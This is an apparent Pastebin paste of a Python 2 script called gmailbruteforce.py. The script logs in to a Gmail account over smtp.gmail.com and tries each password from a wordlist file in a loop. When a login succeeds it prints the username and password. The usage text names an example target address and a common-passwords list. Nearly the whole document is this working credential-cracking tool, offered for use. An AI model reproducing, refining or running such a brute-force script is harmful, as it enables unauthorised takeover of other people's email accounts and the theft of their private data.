Advertisement
Guest User

Untitled

a guest
Feb 15th, 2018
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. import smtplib, sys, time
  2.  
  3. class colour:
  4. BLUE = '\033[94m'
  5. RED = '\033[91m'
  6. GREEN = '\033[92m'
  7. YELLOW = '\033[93m'
  8.  
  9.  
  10. print colour.BLUE + "-------------------------------"
  11. print"-----------PONORKA-------------"
  12. print"-------------IKS DE------------"
  13. print"--WHITE HAT/GHOST IS SWAGLORD--"
  14. print"-------------------------------"
  15.  
  16. def brute_force(username, success, attempts):
  17. print"\n[*]Starting bruteforce..."
  18. for password in f:
  19. if success == True:
  20. sys.exit(0)
  21. else:
  22. attempts += 1
  23. try:
  24. server.login(username, password)
  25. success = True
  26. print colour.GREEN + "\n[$]Login success!"
  27. print"Username: {} | Password: {}".format(username, password)
  28. break
  29. except:
  30. sys.stdout.write(colour.YELLOW + "\rAttempting password {} of {}".format(attempts, len(f)))
  31. sys.stdout.flush()
  32. time.sleep(0.005)
  33.  
  34.  
  35. def usage():
  36. print colour.RED + "\nUsage:"
  37. print"./gmailbruteforce.py (username) (password file)"
  38. print"Example:"
  39. print"./gmailbruteforce.py EMAIL@gmail.com commonpasswords.txt"
  40.  
  41. server = smtplib.SMTP("smtp.gmail.com:587")
  42.  
  43. server.starttls()
  44.  
  45. try:
  46. username = sys.argv[1]
  47. password_file = sys.argv[2]
  48. print "User: " + username + " File: " + password_file
  49. check = raw_input("Is this correct? Y/N ")
  50. if check[0] == "Y" or check[0] == "y":
  51. print"Loading script...\n"
  52. else:
  53. usage()
  54. sys.exit(0)
  55. except:
  56. usage()
  57. sys.exit(0)
  58.  
  59. try:
  60. f = open(password_file, "r")
  61. f = f.readlines()
  62. f = [x.strip('\n') for x in f]
  63. except:
  64. print"Password file not found! BLYAT"
  65. sys.exit(0)
  66.  
  67. attempts = 0
  68. success = False
  69.  
  70. brute_force(username, success, attempts)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement